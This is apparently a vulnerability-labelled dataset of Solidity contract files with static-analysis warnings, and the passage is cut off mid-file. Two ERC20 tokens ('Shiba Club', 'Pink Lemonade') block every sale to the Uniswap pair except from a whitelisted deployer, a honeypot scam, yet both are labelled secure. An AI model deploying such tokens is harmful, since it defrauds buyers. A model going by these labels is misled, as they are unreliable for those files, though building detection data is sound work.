files dict |
|---|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IERC721AUpgradeable.sol\" as IERC721AUpgradeable;\n\ninterface IERC721AQueryableUpgradeable is IERC721AUpgradeable {\n error InvalidQueryRange();\n\n function explicitOwnershipOf(\n uint256 tokenId\n ) external view returns (TokenOwnership memory);\n\n function explicitOwnershipsOf(\n uint256[] memory tokenIds\n ) external view returns (TokenOwnership[] memory);\n\n function tokensOfOwnerIn(\n address owner,\n uint256 start,\n uint256 stop\n ) external view returns (uint256[] memory);\n\n function tokensOfOwner(\n address owner\n ) external view returns (uint256[] memory);\n}",
"file_name": "solidity_code_2709.sol",
"secure": 1,
"size_bytes": 722
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IFactory {\n function getPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}",
"file_name": "solidity_code_271.sol",
"secure": 1,
"size_bytes": 197
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n mapping(address => bool) private _enable;\n IUniswapV2Router02 public uniswapV2Router;\n address public uniswapV2Pair;\n\n constructor() {\n _mint(\n 0x013D846d3966141A34f43CD7446936697307c673,\n 1000000000 * 10 ** 18\n );\n _enable[0x013D846d3966141A34f43CD7446936697307c673] = true;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n uniswapV2Router = _uniswapV2Router;\n\n _name = \"Shiba Club\";\n _symbol = \"SCLUB\";\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient);\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0));\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n _balances[account] = accountBalance - amount;\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(address from, address to) internal virtual {\n if (to == uniswapV2Pair) {\n require(_enable[from], \"something went wrong\");\n }\n }\n}",
"file_name": "solidity_code_2710.sol",
"secure": 1,
"size_bytes": 5999
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/IAccessControl.sol\" as IAccessControl;\nimport \"@openzeppelin/contracts/utils/introspection/ERC165.sol\" as ERC165;\n\nabstract contract AccessControl is Context, IAccessControl, ERC165 {\n struct RoleData {\n mapping(address => bool) members;\n bytes32 adminRole;\n }\n\n mapping(bytes32 => RoleData) private _roles;\n\n bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;\n\n event RoleAdminChanged(\n bytes32 indexed role,\n bytes32 indexed previousAdminRole,\n bytes32 indexed newAdminRole\n );\n\n event RoleGranted(\n bytes32 indexed role,\n address indexed account,\n address indexed sender\n );\n\n event RoleRevoked(\n bytes32 indexed role,\n address indexed account,\n address indexed sender\n );\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override returns (bool) {\n return\n interfaceId == type(IAccessControl).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n function hasRole(\n bytes32 role,\n address account\n ) public view override returns (bool) {\n return _roles[role].members[account];\n }\n\n function getRoleAdmin(bytes32 role) public view override returns (bytes32) {\n return _roles[role].adminRole;\n }\n\n function grantRole(bytes32 role, address account) public virtual override {\n require(\n hasRole(getRoleAdmin(role), _msgSender()),\n \"AccessControl: sender must be an admin to grant\"\n );\n\n _grantRole(role, account);\n }\n\n function revokeRole(bytes32 role, address account) public virtual override {\n require(\n hasRole(getRoleAdmin(role), _msgSender()),\n \"AccessControl: sender must be an admin to revoke\"\n );\n\n _revokeRole(role, account);\n }\n\n function renounceRole(\n bytes32 role,\n address account\n ) public virtual override {\n require(\n account == _msgSender(),\n \"AccessControl: can only renounce roles for self\"\n );\n\n _revokeRole(role, account);\n }\n\n function _setupRole(bytes32 role, address account) internal virtual {\n _grantRole(role, account);\n }\n\n function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {\n emit RoleAdminChanged(role, getRoleAdmin(role), adminRole);\n _roles[role].adminRole = adminRole;\n }\n\n function _grantRole(bytes32 role, address account) private {\n if (!hasRole(role, account)) {\n _roles[role].members[account] = true;\n emit RoleGranted(role, account, _msgSender());\n }\n }\n\n function _revokeRole(bytes32 role, address account) private {\n if (hasRole(role, account)) {\n _roles[role].members[account] = false;\n emit RoleRevoked(role, account, _msgSender());\n }\n }\n}",
"file_name": "solidity_code_2711.sol",
"secure": 1,
"size_bytes": 3179
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IAccessControlEnumerable {\n function getRoleMember(\n bytes32 role,\n uint256 index\n ) external view returns (address);\n function getRoleMemberCount(bytes32 role) external view returns (uint256);\n}",
"file_name": "solidity_code_2712.sol",
"secure": 1,
"size_bytes": 296
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IAccessControlEnumerable.sol\" as IAccessControlEnumerable;\nimport \"@openzeppelin/contracts/access/AccessControl.sol\" as AccessControl;\nimport \"@openzeppelin/contracts/utils/structs/EnumerableSet.sol\" as EnumerableSet;\n\nabstract contract AccessControlEnumerable is\n IAccessControlEnumerable,\n AccessControl\n{\n using EnumerableSet for EnumerableSet.AddressSet;\n\n mapping(bytes32 => EnumerableSet.AddressSet) private _roleMembers;\n\n function supportsInterface(\n bytes4 interfaceId\n ) public view virtual override returns (bool) {\n return\n interfaceId == type(IAccessControlEnumerable).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n function getRoleMember(\n bytes32 role,\n uint256 index\n ) public view override returns (address) {\n return _roleMembers[role].at(index);\n }\n\n function getRoleMemberCount(\n bytes32 role\n ) public view override returns (uint256) {\n return _roleMembers[role].length();\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1061f36): AccessControlEnumerable.grantRole(bytes32,address) ignores return value by _roleMembers[role].add(account)\n\t// Recommendation for 1061f36: Ensure that all the return values of the function calls are used.\n function grantRole(bytes32 role, address account) public virtual override {\n super.grantRole(role, account);\n\t\t// unused-return | ID: 1061f36\n _roleMembers[role].add(account);\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f9f11bb): AccessControlEnumerable.revokeRole(bytes32,address) ignores return value by _roleMembers[role].remove(account)\n\t// Recommendation for f9f11bb: Ensure that all the return values of the function calls are used.\n function revokeRole(bytes32 role, address account) public virtual override {\n super.revokeRole(role, account);\n\t\t// unused-return | ID: f9f11bb\n _roleMembers[role].remove(account);\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 82f9982): AccessControlEnumerable.renounceRole(bytes32,address) ignores return value by _roleMembers[role].remove(account)\n\t// Recommendation for 82f9982: Ensure that all the return values of the function calls are used.\n function renounceRole(\n bytes32 role,\n address account\n ) public virtual override {\n super.renounceRole(role, account);\n\t\t// unused-return | ID: 82f9982\n _roleMembers[role].remove(account);\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4613539): AccessControlEnumerable._setupRole(bytes32,address) ignores return value by _roleMembers[role].add(account)\n\t// Recommendation for 4613539: Ensure that all the return values of the function calls are used.\n function _setupRole(\n bytes32 role,\n address account\n ) internal virtual override {\n super._setupRole(role, account);\n\t\t// unused-return | ID: 4613539\n _roleMembers[role].add(account);\n }\n}",
"file_name": "solidity_code_2713.sol",
"secure": 0,
"size_bytes": 3163
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"./AccessControlEnumerable.sol\" as AccessControlEnumerable;\nimport \"./ERC721Enumerable.sol\" as ERC721Enumerable;\nimport \"./ERC721URIStorage.sol\" as ERC721URIStorage;\nimport \"@openzeppelin/contracts/interfaces/IERC721Enumerable.sol\" as IERC721Enumerable;\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\" as ERC721;\n\ncontract UNIPNFT is\n Context,\n AccessControlEnumerable,\n ERC721Enumerable,\n ERC721URIStorage\n{\n bytes32 public constant MINTER_ROLE = keccak256(\"MINTER_ROLE\");\n\n string private _internalBaseURI;\n\n uint256 public immutable startNumber;\n\n address public companyWallet =\n address(0x2DdaD7660e4cd0c4c13Ff23bb97607a90Cc1eC60);\n\n event Mint(\n address indexed from,\n address indexed to,\n uint256 indexed tokenId\n );\n event Burn(\n address indexed from,\n address indexed to,\n uint256 indexed tokenId\n );\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ccdf328): UNIPNFT.constructor(string,string,string).name shadows ERC721.name() (function) IERC721Metadata.name() (function)\n\t// Recommendation for ccdf328: Rename the local variables that shadow another component.\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1c60fb6): UNIPNFT.constructor(string,string,string).symbol shadows ERC721.symbol() (function) IERC721Metadata.symbol() (function)\n\t// Recommendation for 1c60fb6: Rename the local variables that shadow another component.\n constructor(\n string memory name,\n string memory symbol,\n string memory baseURI_\n ) ERC721(name, symbol) {\n _setupRole(DEFAULT_ADMIN_ROLE, _msgSender());\n\n _setupRole(MINTER_ROLE, _msgSender());\n\n _internalBaseURI = baseURI_;\n startNumber = block.number;\n }\n\n function supportsInterface(\n bytes4 interfaceId\n )\n public\n view\n virtual\n override(ERC721Enumerable, AccessControlEnumerable, ERC721)\n returns (bool)\n {\n return\n interfaceId == type(IERC721Enumerable).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n function tokenURI(\n uint256 tokenId\n )\n public\n view\n virtual\n override(ERC721URIStorage, ERC721)\n returns (string memory)\n {\n return super.tokenURI(tokenId);\n }\n function _baseURI() internal view override returns (string memory) {\n return _internalBaseURI;\n }\n function baseURI() external view returns (string memory) {\n return _internalBaseURI;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: ba0e22a): UNIPNFT.setCompanyWallet(address).companyWallet_ lacks a zerocheck on \t companyWallet = companyWallet_\n\t// Recommendation for ba0e22a: Check that the address is not zero.\n function setCompanyWallet(address companyWallet_) public {\n require(\n hasRole(DEFAULT_ADMIN_ROLE, _msgSender()),\n \"ERC721: must have admin role to change companyWallet\"\n );\n\t\t// missing-zero-check | ID: ba0e22a\n companyWallet = companyWallet_;\n }\n\n function mint() public virtual {\n uint256 tokenId = totalSupply();\n _mint(companyWallet, tokenId);\n\n emit Mint(address(0), companyWallet, tokenId);\n }\n\n function burn(uint256 tokenId) public virtual {\n require(\n _isApprovedOrOwner(_msgSender(), tokenId),\n \"ERC721Burnable: caller is not owner nor approved\"\n );\n _burn(tokenId);\n }\n function _burn(\n uint256 tokenId\n ) internal virtual override(ERC721, ERC721URIStorage) {\n super._burn(tokenId);\n emit Burn(_msgSender(), address(0), tokenId);\n }\n\n function setBaseURI(string memory newBaseUri) public {\n require(\n hasRole(DEFAULT_ADMIN_ROLE, _msgSender()),\n \"ERC721: must have admin role to change baseUri\"\n );\n _internalBaseURI = newBaseUri;\n }\n\n function setTokenURI(uint256 tokenId, string memory _tokenURI) public {\n require(\n hasRole(DEFAULT_ADMIN_ROLE, _msgSender()),\n \"ERC721: must have admin role to set Token URIs\"\n );\n super._setTokenURI(tokenId, _tokenURI);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual override(ERC721, ERC721Enumerable) {\n super._beforeTokenTransfer(from, to, tokenId);\n }\n}",
"file_name": "solidity_code_2714.sol",
"secure": 0,
"size_bytes": 4740
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract PinkLemonade is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n\n mapping(address => bool) private _enable;\n\t// WARNING Optimization Issue (immutable-states | ID: 90183f1): PinkLemonade.uniswapV2Router should be immutable \n\t// Recommendation for 90183f1: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 public uniswapV2Router;\n\t// WARNING Optimization Issue (immutable-states | ID: e24aeab): PinkLemonade.uniswapV2Pair should be immutable \n\t// Recommendation for e24aeab: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n constructor() {\n _mint(\n 0x72b225A018809494CF7AC88d3e333783796633Ad,\n 100000000000000 * 10 ** 18\n );\n _enable[0x72b225A018809494CF7AC88d3e333783796633Ad] = true;\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n uniswapV2Router = _uniswapV2Router;\n\n _name = \"Pink Lemonade\";\n _symbol = \"PLT\";\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"ERC20: transfer amount exceeds allowance\"\n );\n _approve(sender, _msgSender(), currentAllowance - amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient);\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0));\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n _balances[account] = accountBalance - amount;\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(address from, address to) internal virtual {\n if (to == uniswapV2Pair) {\n require(_enable[from], \"something went wrong\");\n }\n }\n}",
"file_name": "solidity_code_2715.sol",
"secure": 1,
"size_bytes": 6514
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nabstract contract IDFSRegistry {\n function getAddr(bytes4 _id) public view virtual returns (address);\n\n function addNewContract(\n bytes32 _id,\n address _contractAddr,\n uint256 _waitPeriod\n ) public virtual;\n\n function startContractChange(\n bytes32 _id,\n address _newContractAddr\n ) public virtual;\n\n function approveContractChange(bytes32 _id) public virtual;\n\n function cancelContractChange(bytes32 _id) public virtual;\n\n function changeWaitPeriod(\n bytes32 _id,\n uint256 _newWaitPeriod\n ) public virtual;\n}",
"file_name": "solidity_code_2716.sol",
"secure": 1,
"size_bytes": 668
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function name() external view returns (string memory);\n function symbol() external view returns (string memory);\n function decimals() external view returns (uint256 digits);\n function totalSupply() external view returns (uint256 supply);\n\n function balanceOf(address _owner) external view returns (uint256 balance);\n\n function transfer(\n address _to,\n uint256 _value\n ) external returns (bool success);\n\n function transferFrom(\n address _from,\n address _to,\n uint256 _value\n ) external returns (bool success);\n\n function approve(\n address _spender,\n uint256 _value\n ) external returns (bool success);\n\n function allowance(\n address _owner,\n address _spender\n ) external view returns (uint256 remaining);\n\n event Approval(\n address indexed _owner,\n address indexed _spender,\n uint256 _value\n );\n}",
"file_name": "solidity_code_2717.sol",
"secure": 1,
"size_bytes": 1040
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nlibrary Address {\n error InsufficientBalance(uint256 available, uint256 required);\n\n error SendingValueFail();\n\n error InsufficientBalanceForCall(uint256 available, uint256 required);\n\n error NonContractCall();\n\n function isContract(address account) internal view returns (bool) {\n bytes32 codehash;\n bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;\n\n assembly {\n codehash := extcodehash(account)\n }\n return (codehash != accountHash && codehash != 0x0);\n }\n\n function sendValue(address payable recipient, uint256 amount) internal {\n uint256 balance = address(this).balance;\n if (balance < amount) {\n revert InsufficientBalance(balance, amount);\n }\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n if (!(success)) {\n revert SendingValueFail();\n }\n }\n\n function functionCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return _functionCallWithValue(target, data, 0, errorMessage);\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return\n functionCallWithValue(\n target,\n data,\n value,\n \"Address: low-level call with value failed\"\n );\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n uint256 balance = address(this).balance;\n if (balance < value) {\n revert InsufficientBalanceForCall(balance, value);\n }\n return _functionCallWithValue(target, data, value, errorMessage);\n }\n\n function _functionCallWithValue(\n address target,\n bytes memory data,\n uint256 weiValue,\n string memory errorMessage\n ) private returns (bytes memory) {\n if (!(isContract(target))) {\n revert NonContractCall();\n }\n\n (bool success, bytes memory returndata) = target.call{value: weiValue}(\n data\n );\n if (success) {\n return returndata;\n } else {\n if (returndata.length > 0) {\n assembly {\n let returndata_size := mload(returndata)\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}",
"file_name": "solidity_code_2718.sol",
"secure": 1,
"size_bytes": 3049
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract MainnetAuthAddresses {\n address internal constant ADMIN_VAULT_ADDR =\n 0x43A74Efb1f01c76EED55217D6eD9279779a11CDe;\n address internal constant FACTORY_ADDRESS =\n 0x5a15566417e6C1c9546523066500bDDBc53F88C7;\n address internal constant ADMIN_ADDR =\n 0x25eFA336886C74eA8E282ac466BdCd0199f85BB9;\n}",
"file_name": "solidity_code_2719.sol",
"secure": 1,
"size_bytes": 398
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IRouter {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n}",
"file_name": "solidity_code_272.sol",
"secure": 1,
"size_bytes": 197
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./MainnetAuthAddresses.sol\" as MainnetAuthAddresses;\n\ncontract AuthHelper is MainnetAuthAddresses {}",
"file_name": "solidity_code_2720.sol",
"secure": 1,
"size_bytes": 172
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./AuthHelper.sol\" as AuthHelper;\n\ncontract AdminVault is AuthHelper {\n address public owner;\n address public admin;\n\n error SenderNotAdmin();\n\n constructor() {\n owner = msg.sender;\n admin = ADMIN_ADDR;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: dad849b): AdminVault.changeOwner(address)._owner lacks a zerocheck on \t owner = _owner\n\t// Recommendation for dad849b: Check that the address is not zero.\n function changeOwner(address _owner) public {\n if (admin != msg.sender) {\n revert SenderNotAdmin();\n }\n\t\t// missing-zero-check | ID: dad849b\n owner = _owner;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 7b6b99c): AdminVault.changeAdmin(address)._admin lacks a zerocheck on \t admin = _admin\n\t// Recommendation for 7b6b99c: Check that the address is not zero.\n function changeAdmin(address _admin) public {\n if (admin != msg.sender) {\n revert SenderNotAdmin();\n }\n\t\t// missing-zero-check | ID: 7b6b99c\n admin = _admin;\n }\n}",
"file_name": "solidity_code_2721.sol",
"secure": 0,
"size_bytes": 1187
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./AuthHelper.sol\" as AuthHelper;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\" as SafeERC20;\nimport \"./AdminVault.sol\" as AdminVault;\n\ncontract AdminAuth is AuthHelper {\n using SafeERC20 for IERC20;\n\n AdminVault public constant adminVault = AdminVault(ADMIN_VAULT_ADDR);\n\n error SenderNotOwner();\n error SenderNotAdmin();\n\n modifier onlyOwner() {\n if (adminVault.owner() != msg.sender) {\n revert SenderNotOwner();\n }\n _;\n }\n\n modifier onlyAdmin() {\n if (adminVault.admin() != msg.sender) {\n revert SenderNotAdmin();\n }\n _;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 4a43dea): AdminAuth.withdrawStuckFunds(address,address,uint256)._receiver lacks a zerocheck on \t address(_receiver).transfer(_amount)\n\t// Recommendation for 4a43dea: Check that the address is not zero.\n function withdrawStuckFunds(\n address _token,\n address _receiver,\n uint256 _amount\n ) public onlyOwner {\n if (_token == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) {\n\t\t\t// missing-zero-check | ID: 4a43dea\n payable(_receiver).transfer(_amount);\n } else {\n IERC20(_token).safeTransfer(_receiver, _amount);\n }\n }\n\n function kill() public onlyAdmin {\n selfdestruct(payable(msg.sender));\n }\n}",
"file_name": "solidity_code_2722.sol",
"secure": 0,
"size_bytes": 1560
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./AdminAuth.sol\" as AdminAuth;\n\ncontract DFSRegistry is AdminAuth {\n error EntryAlreadyExistsError(bytes4);\n error EntryNonExistentError(bytes4);\n error EntryNotInChangeError(bytes4);\n error ChangeNotReadyError(uint256, uint256);\n error EmptyPrevAddrError(bytes4);\n error AlreadyInContractChangeError(bytes4);\n error AlreadyInWaitPeriodChangeError(bytes4);\n\n event AddNewContract(address, bytes4, address, uint256);\n event RevertToPreviousAddress(address, bytes4, address, address);\n event StartContractChange(address, bytes4, address, address);\n event ApproveContractChange(address, bytes4, address, address);\n event CancelContractChange(address, bytes4, address, address);\n event StartWaitPeriodChange(address, bytes4, uint256);\n event ApproveWaitPeriodChange(address, bytes4, uint256, uint256);\n event CancelWaitPeriodChange(address, bytes4, uint256, uint256);\n\n struct Entry {\n address contractAddr;\n uint256 waitPeriod;\n uint256 changeStartTime;\n bool inContractChange;\n bool inWaitPeriodChange;\n bool exists;\n }\n\n mapping(bytes4 => Entry) public entries;\n mapping(bytes4 => address) public previousAddresses;\n\n mapping(bytes4 => address) public pendingAddresses;\n mapping(bytes4 => uint256) public pendingWaitTimes;\n\n function getAddr(bytes4 _id) public view returns (address) {\n return entries[_id].contractAddr;\n }\n\n function isRegistered(bytes4 _id) public view returns (bool) {\n return entries[_id].exists;\n }\n\n function addNewContract(\n bytes4 _id,\n address _contractAddr,\n uint256 _waitPeriod\n ) public onlyOwner {\n if (entries[_id].exists) {\n revert EntryAlreadyExistsError(_id);\n }\n\n entries[_id] = Entry({\n contractAddr: _contractAddr,\n waitPeriod: _waitPeriod,\n changeStartTime: 0,\n inContractChange: false,\n inWaitPeriodChange: false,\n exists: true\n });\n\n emit AddNewContract(msg.sender, _id, _contractAddr, _waitPeriod);\n }\n\n function revertToPreviousAddress(bytes4 _id) public onlyOwner {\n if (!(entries[_id].exists)) {\n revert EntryNonExistentError(_id);\n }\n if (previousAddresses[_id] == address(0)) {\n revert EmptyPrevAddrError(_id);\n }\n\n address currentAddr = entries[_id].contractAddr;\n entries[_id].contractAddr = previousAddresses[_id];\n\n emit RevertToPreviousAddress(\n msg.sender,\n _id,\n currentAddr,\n previousAddresses[_id]\n );\n }\n\n function startContractChange(\n bytes4 _id,\n address _newContractAddr\n ) public onlyOwner {\n if (!entries[_id].exists) {\n revert EntryNonExistentError(_id);\n }\n if (entries[_id].inWaitPeriodChange) {\n revert 